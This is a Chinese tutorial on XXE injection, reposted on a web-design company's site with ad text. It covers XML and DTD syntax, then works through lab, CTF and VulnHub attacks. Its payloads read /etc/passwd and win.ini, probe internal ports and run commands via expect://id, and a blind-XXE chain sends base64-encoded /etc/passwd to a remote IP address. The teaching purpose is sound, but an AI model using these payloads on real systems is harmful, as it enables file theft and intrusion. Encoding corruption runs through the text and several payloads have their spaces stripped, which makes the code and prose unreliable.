XXE漏洞原理是什么

這期內(nèi)容當(dāng)中小編將會(huì)給大家?guī)碛嘘P(guān)XXE漏洞原理是什么,文章內(nèi)容豐富且以專業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。

創(chuàng)新互聯(lián)是一家專業(yè)提供濱湖企業(yè)網(wǎng)站建設(shè),專注與成都網(wǎng)站制作、做網(wǎng)站、H5網(wǎng)站設(shè)計(jì)、小程序制作等業(yè)務(wù)。10年已為濱湖眾多企業(yè)、政府機(jī)構(gòu)等服務(wù)。創(chuàng)新互聯(lián)專業(yè)的建站公司優(yōu)惠進(jìn)行中。

簡(jiǎn)介

XXE全稱XML External Entity InjectionXML在引入外部實(shí)體的時(shí)候完成注入攻擊稱為XXE。那么它帶來的危害有那些:

1.DOS攻擊

2.SSRF攻擊

3.使用file協(xié)議讀取任意文件

4.端口探測(cè)

5.執(zhí)行系統(tǒng)命令

1.什么是XML

XML是一種用來傳輸和存儲(chǔ)數(shù)據(jù)的可擴(kuò)展標(biāo)記語言。

XML用于傳輸和數(shù)據(jù)存儲(chǔ)。HTML用于顯示數(shù)據(jù)。

Dtd文檔類型定義是一套為了進(jìn)行程序見的數(shù)據(jù)交換而建立的關(guān)于標(biāo)記符的語法規(guī)則。

1.1 xml語法

語法規(guī)則

1.所有的XML元素都必須有一個(gè)關(guān)閉標(biāo)簽

2.XML標(biāo)簽對(duì)大小寫敏感

3.XML必須正確嵌套

4.XML屬性值必須加引號(hào)“”

5.實(shí)體引用:在標(biāo)簽屬性,或者對(duì)應(yīng)位置值可能出現(xiàn)<>符號(hào),這些在對(duì)應(yīng)的xml中都是特殊含義的,那么必須使用對(duì)應(yīng)html的實(shí)體對(duì)應(yīng)的表示:例如,<message>if salary < 1000 then </message>如果把這個(gè)“<”放在元素中,那么解析器會(huì)把他當(dāng)成新元素的開始,就會(huì)發(fā)生報(bào)錯(cuò)。為了避免這個(gè)錯(cuò)誤使用實(shí)體引用來代替<message>if salary &amplt; 1000 then </message>

1.2 xml結(jié)構(gòu)

XML 文檔聲明,在文檔的第一行

XML 文檔類型定義,即DTD,XXE 漏洞所在的地方

XML 文檔元素

1.3 XML DTD(文檔類型定義)

DTD的作用就是用來定義XML文檔的合法構(gòu)建模塊DTD可以在XML文檔內(nèi)聲明,也可以在外部引用。

內(nèi)部聲明DTD  <!DOCTYPE 根元素 [元素聲明]>
外部聲明DTD  <!DOCTYPE 根元素 SYSTEM "文件名">
<!DOCTYPE note SYSTEM "Note.dtd">
或者<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">

實(shí)例1.1:內(nèi)部聲明DTD

<?xml version="1.0"?>                       //xml聲明
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>    //定義了note元素,并且note元素下面有4個(gè)子元素
<!ELEMENT to      (#PCDATA)>              //定義了子元素to,后面的(#PCDATA)意思是to元素里面的字符串內(nèi)容不會(huì)被解析
<!ELEMENT from    (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body    (#PCDATA)>
]>                                   //從<!DOCTYPE...到}>,是DTD文檔的定義 
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>                                     //后面這部分就是XML文件內(nèi)容

實(shí)例1.2:外部聲明DTD

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

這個(gè)note.dtd的內(nèi)容就是:

<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to      (#PCDATA)>              
<!ELEMENT from    (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body    (#PCDATA)>
]>

DTD實(shí)體DTD實(shí)體是用于定義引用普通文本或特殊字符的快捷方式的變量,可以內(nèi)部聲明或外部引用。

內(nèi)部聲明實(shí)體 <!DOCTYPE 實(shí)體名稱 "實(shí)體的值">
引用外部實(shí)體 <!DOCTYPE 實(shí)體名稱 SYSTEM "URL">
或者 <!DOCTYPE 實(shí)體名稱 PUBLIC "public_ID" "URL">

實(shí)例2.1:內(nèi)部聲明實(shí)體

<?xml version="1.0"?> <!DOCTYPE note[ <!ELEMENT note (name)> <!ENTITY hack3r "Hu3sky"> ]> <note> <name>&amphack3r;</name> </note>

實(shí)例2.2:外部聲明實(shí)體外部實(shí)體用來引用外部資源,有兩個(gè)關(guān)鍵字SYSTEM和PUBLIC兩個(gè),表示實(shí)體來自本地計(jì)算機(jī)還是公共計(jì)算機(jī),外部實(shí)體的利用會(huì)用到協(xié)議如下:

不同語言下支持的協(xié)議:

XXE漏洞原理是什么

<?xml version="1.0"?> <!DOCTYPE note[ <!ELEMENT note (name)> <!ENTITY hack3r "http://www.chenguanxin.com"> ]> <note> <name>&amphack3r;</name> </note>

參數(shù)實(shí)體參數(shù)實(shí)體只能在DTD中定義和使用實(shí)體,一般的話引用時(shí)%作為前綴。而內(nèi)部實(shí)體是指在一個(gè)實(shí)體中定義的另一個(gè)實(shí)體,說白了就是嵌套的。

<!ENTITY %實(shí)體名稱 "值">
<!ENTITY %實(shí)體名稱 SYSTEM "URL">

實(shí)例:

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;]>
<foo>&ampevil;</foo>

而里面引用的外部實(shí)體evil.dtd的內(nèi)容:

<!ENTITY evil SYSTEM “file:///c:/windows/win.ini” >

正因?yàn)橥獠繉?shí)體支持的http,file等協(xié)議,那么就有可能通過以用外部實(shí)體進(jìn)行遠(yuǎn)程文件讀取。

2.xxe漏洞危害

綜上所述,xxe漏洞就是允許了引入外部實(shí)體的加載,從而導(dǎo)致程序在解析xml的時(shí)候,可以加載惡意外部文件,從而造成文件讀取等危害。

利用

2.1 文件讀?。ㄓ谢仫@)

xxe-php靶場(chǎng)演示:

XXE漏洞原理是什么

我們先看一下dologin.php代碼

XXE漏洞原理是什么

libxml_disable_entity_loader(false);函數(shù)意思就是不禁止外部實(shí)體加載;file_get_contents()函數(shù),把整個(gè)文件讀入一個(gè)字符串中。LIBXML_NOENT: 將 XML 中的實(shí)體引用 替換 成對(duì)應(yīng)的值LIBXML_DTDLOAD: 加載 DOCTYPE 中的 DTD 文件 通過php://input協(xié)議獲取POST請(qǐng)求數(shù)據(jù),然后把數(shù)據(jù)通過file_get_contents()函數(shù),放在$xmlfile變量中。

我們先抓包,看一下

XXE漏洞原理是什么

傳輸類型是xml,通過post傳輸?shù)臄?shù)據(jù)。然后看一下返回的響應(yīng)包

XXE漏洞原理是什么

發(fā)現(xiàn),響應(yīng)包返回的信息中,有username的值admin。

那么我么嘗試構(gòu)造payload來構(gòu)造外部實(shí)體admin處的注入,利用協(xié)議讀取文件

網(wǎng)站在window系統(tǒng)上搭建:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY xxes SYSTEM "file:///c:/windows/win.ini"> ]>
<user><username>&ampxxes;</username><password>admin</password></user>
網(wǎng)站在linux系統(tǒng)上搭建:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY xxes SYSTEM "file:///etc/passwd"> ]>
<user><username>&ampxxes;</username><password>admin</password></user>

XXE漏洞原理是什么

成功讀取了c盤下win.in文件。

這種情況是提交請(qǐng)求后,響應(yīng)有回顯的時(shí)候。但是有時(shí)候沒有回顯的時(shí)候就可以使用Blind xxe。

2.2 文件讀取(無回顯blind xxe)

blind xxe雖然不回顯信息,但是可以利用file協(xié)議來讀取文件。對(duì)于這種情況,就可以用到參數(shù)實(shí)體了。用下面這個(gè)靶場(chǎng)演示一下

靶場(chǎng)地址:https://www.vulnspy.com/phpaudit-xxe/

在輸入框輸入構(gòu)造的xxe代碼,抓取請(qǐng)求包

XXE漏洞原理是什么

我們看到將我們提交的xxe代碼,放在date里面,響應(yīng)包沒有返回我們要查詢的信息,只有ok輸出在頁面上。

XXE漏洞原理是什么

對(duì)于沒有回顯,就要利用http協(xié)議將請(qǐng)求發(fā)送到遠(yuǎn)程服務(wù)器上,從而獲取文件的內(nèi)容。那么在我們自己的服務(wù)器上,寫一個(gè)dtd文件

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY &amp#x25; send SYSTEM 'http://39.107.90.188:8081/%file;'>">

XXE漏洞原理是什么

然后在服務(wù)其上監(jiān)聽8081端口

XXE漏洞原理是什么

然后,我們將構(gòu)造的xxe代碼,輸入到輸入框并提交

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://39.107.90.188/evil.dtd">
%remote;%int;%send;
]>

XXE漏洞原理是什么

然后在vps看一下監(jiān)聽

XXE漏洞原理是什么

出現(xiàn)base64加密的數(shù)據(jù),用base64解密內(nèi)容:

XXE漏洞原理是什么

成功讀取了passwd文件內(nèi)容。

上面構(gòu)造的payload,調(diào)用了%remote ,%int ,%send三個(gè)參數(shù)實(shí)體。一次利用順序就是通過%remote調(diào)用遠(yuǎn)程服務(wù)器vps上,我們常見的evil.dtd文件,然后%int調(diào)用了evil.dtd中的%file,而%file就會(huì)獲取服務(wù)讀取敏感文件,然后將%file的結(jié)果放到%send之后,然后我們調(diào)用%send,把讀取的數(shù)據(jù)以get請(qǐng)求發(fā)送到服務(wù)器vps上,這就是外帶數(shù)據(jù)的結(jié)果。

2.3 端口探測(cè)

正因?yàn)閤ml外部實(shí)體攻擊利用的http協(xié)議,也就是說利用該請(qǐng)求探測(cè)內(nèi)網(wǎng)端口的存活,從而可以進(jìn)行ssrf攻擊。構(gòu)造代碼:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY xxes SYSTEM “http://127.0.0.1:8000"> 
]>
<user><username>&ampxxes;</username><password>admin</password></user>

2.4命令執(zhí)行

前提是:在php環(huán)境中,如果說php擴(kuò)展安裝expect擴(kuò)展,那么就能執(zhí)行系統(tǒng)命令。構(gòu)造代碼:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY xxes SYSTEM "expect://id"> 
]>
<user><username>&ampxxes;</username><password>admin</password></user>

3.ctf題和vulnhub靶場(chǎng)(xxe)

3.1 api調(diào)用

是來自Jarvis OJ平臺(tái)的一道web題型,地址http://web.jarvisoj.com:9882/

XXE漏洞原理是什么

看到題目說flag在/home/ctf/flag.txt中,那么就是訪問這個(gè)目錄了。

首先,我們看一下地址入口,頁面是一個(gè)提交框,點(diǎn)擊go后,把輸入框輸入的信息,提交到文本框中

XXE漏洞原理是什么

看一下響應(yīng)包中的提交數(shù)據(jù)包和響應(yīng)包數(shù)據(jù):

XXE漏洞原理是什么

發(fā)現(xiàn),提交數(shù)據(jù)是以json格式提交的數(shù)據(jù)。那么對(duì)于這種提交方式,去嘗試會(huì)不會(huì)解析xml,那么要修改一下Content-type為xml,然后寫一個(gè)xml,看響應(yīng)包解不解析:

XXE漏洞原理是什么

可以看到返回的響應(yīng)數(shù)據(jù)包中,返回輸入了內(nèi)容,也就是說服務(wù)器成功解析,是由回顯的xxe,那么我么那就構(gòu)造paly了。用我們平常構(gòu)造的代碼,看是否能讀passwd文件數(shù)據(jù):

構(gòu)造paylaod

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPEANY[<!ENTITYxxesSYSTEM"file:///etc/passwd"> ]>
<root>
&ampxxes;</root>

XXE漏洞原理是什么

果然成功讀出了passwd的內(nèi)容,那么就去訪問flag.txt文件了,構(gòu)造代碼payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPEANY[<!ENTITYxxesSYSTEM"file:///home/ctf/flag.txt"> ]>
<root>
&ampxxes;</root>

XXE漏洞原理是什么

看到成功獲取了flag。

3.2 vulnhub靶場(chǎng)

這個(gè)靶場(chǎng)是透過我們平常滲透測(cè)試思路,信息收集,根據(jù)收集的信息查找漏洞,利用漏洞,一步步拿到flag。

網(wǎng)站搭建,下載虛擬機(jī),直接導(dǎo)入vm中就行,下載https://download.vulnhub.com/xxe/XXE.zip

我們導(dǎo)入虛擬機(jī)后,需要密碼賬號(hào)進(jìn)入,這里不需要。

XXE漏洞原理是什么

因?yàn)槭翘摂M機(jī)導(dǎo)入,就可以知道這個(gè)的ip地址:192.168.171.146,通過瀏覽器訪問,出現(xiàn)apache2服務(wù)頁面

XXE漏洞原理是什么

會(huì)不會(huì)含有其他目錄呢,使用目錄掃描掃描一下目錄:

XXE漏洞原理是什么

發(fā)現(xiàn)robots.txt文件,訪問一下:

XXE漏洞原理是什么

看到存在兩個(gè)頁面,訪問xxe目錄

XXE漏洞原理是什么

發(fā)現(xiàn)是一個(gè)登錄頁面,那么輸入賬號(hào)密碼,看看響應(yīng)包是什么數(shù)據(jù)

XXE漏洞原理是什么

看到通過xml傳輸數(shù)據(jù),那么是不是可以利用xxe漏洞呢?那就嘗試常用讀取文件的payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPEANY[<!ENTITYxxeSYSTEM"file:///etc/passwd"> ]><root><name>&ampxxe;</name><password>admin</password></root>

XXE漏洞原理是什么

居然成功讀取了,存在xxe漏洞。

我們?cè)俨榭匆幌?,剛才robots.txt中的admin.php頁面

XXE漏洞原理是什么

需要登錄,那就利用xxe漏洞讀取admin.php源。

這里構(gòu)造payload的時(shí)候,使用base64方法讀取文件

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php"> ]><root><name>&ampxxe;</name><password>admin</password></root>

XXE漏洞原理是什么

將響應(yīng)包中的base64編碼解碼:

XXE漏洞原理是什么

看到登錄頁面的密碼和賬號(hào),但是賬號(hào)md5加密,解密就ok

XXE漏洞原理是什么

利用賬號(hào)administhebest和密碼admin@123 登錄頁面:

XXE漏洞原理是什么

頁面出現(xiàn)flag,點(diǎn)擊進(jìn)去,頁面跳轉(zhuǎn)到flagmeout.php

XXE漏洞原理是什么

頁面不顯示,那么再利用xxe漏洞讀取該文件內(nèi)容

XXE漏洞原理是什么

然后把得到base64解密:

XXE漏洞原理是什么

成功拿到flag<!-- the flag in (JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5) -->

xee防御

通過上面學(xué)習(xí)總結(jié),xxe漏洞產(chǎn)生的原因是,允許加載了外部實(shí)體。那么要防御禁止外部實(shí)體加載。

libxml_disable_entity_loader(true);

將false不禁止外部實(shí)體加載,改為true禁止外部實(shí)體加載。

上述就是小編為大家分享的XXE漏洞原理是什么了,如果剛好有類似的疑惑,不妨參照上述分析進(jìn)行理解。如果想知道更多相關(guān)知識(shí),歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。

本文題目:XXE漏洞原理是什么
本文URL:http://muchs.cn/article44/gpjshe.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供建站公司網(wǎng)站維護(hù)、網(wǎng)站排名、網(wǎng)站策劃、品牌網(wǎng)站制作小程序開發(fā)

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)

成都做網(wǎng)站